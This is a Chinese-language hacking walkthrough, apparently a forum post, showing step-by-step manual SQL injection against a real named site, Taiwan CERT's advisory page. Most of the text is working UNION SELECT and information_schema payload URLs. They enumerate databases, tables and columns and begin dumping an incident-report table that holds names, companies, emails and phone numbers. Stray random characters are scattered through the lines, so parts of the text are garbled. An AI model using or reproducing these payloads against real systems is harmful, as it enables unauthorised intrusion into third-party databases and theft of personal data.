1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询. o3 ]$ Y1 M; W) \
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解0 W* R3 B, V Q) R8 P
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
( E3 R- {9 y. I8 z, H+ Q" F3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--9 l+ B v: T9 t) W( w
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。
+ V* i F, i9 `; D0 d0 D. H( L4.判断有没有写权限3 E! M1 Z( N U D6 i
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限* {( o! ?: c2 G5 w3 v& c
没办法,手动猜表啦
8 \ p9 e7 a2 E2 Y8 w5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
- R9 D* Q: T8 b但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下
" W! Z0 M! O6 Vhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
1 {3 ]% s) i0 F0 s7 }0 X成功查出所有数据库,国外的黑客就是不一般。数据库如下:9 z P+ U% B2 \. |5 i+ V
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb7 O% W9 \( }' } N/ ~ W
6.爆表,爆的是twcert库+ x- t2 L7 U2 _6 t8 r. q# @
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
5 _& w$ n+ B8 h ]/ _7 l0 C爆出如下表
4 o. [* d4 U$ K3 e4 `9 Rdownloadfile,irsys,newsdata,secrpt,secrpt_big5" ]# l: r0 h' o7 j9 \
7.爆列名,这次爆的是irsys表
4 N6 ]9 A2 v2 b1 s1 I, r$ V4 M! A- rhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
- t7 |' x" a8 r6 Z爆出如下列
' |( e, ^* G5 F9 h) y; W3 fir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
. ], G! `7 m3 F8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。! s3 p- \$ G/ |) H" K& ^+ ]
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--: L/ f2 B/ Z: w% @( ~' F8 m
返回是3,说明每个列里有3个地段1 p8 K+ l C9 A: R, L- j: M- n
9.爆字段内容
, c8 }" K8 W! Y9 d6 f/ ]# A [# {/ lhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--* M1 j. G# B- t" L4 @
爆出name列的第一个字段的内容
$ c' c5 \4 G0 r: Q4 K! X* Y( |9 ~http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--8 R+ a. ]2 a7 X8 f: {- A( F% ~
爆出name列的第二个字段的内容 |